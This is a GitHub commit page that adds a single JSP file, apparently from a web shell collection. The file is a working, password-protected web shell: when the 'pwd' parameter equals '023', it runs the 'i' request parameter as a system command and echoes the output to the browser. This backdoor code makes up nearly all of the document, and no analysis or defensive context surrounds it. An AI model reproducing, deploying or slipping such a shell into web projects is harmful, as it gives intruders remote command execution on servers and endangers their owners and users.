We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent c360bca commit e2ff04cCopy full SHA for e2ff04c
Jsp/带回显执行cmd.jsp
@@ -0,0 +1,10 @@
1
+<% if("023".equals(request.getParameter("pwd"))){
2
+ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
3
+ int a = -1;
4
+ byte[] b = new byte[2048];
5
+ out.print("<pre>");
6
+ while((a=in.read(b))!=-1){
7
+ out.println(new String(b));
8
+ }
9
+ out.print("</pre>");
10
+ } %>
0 commit comments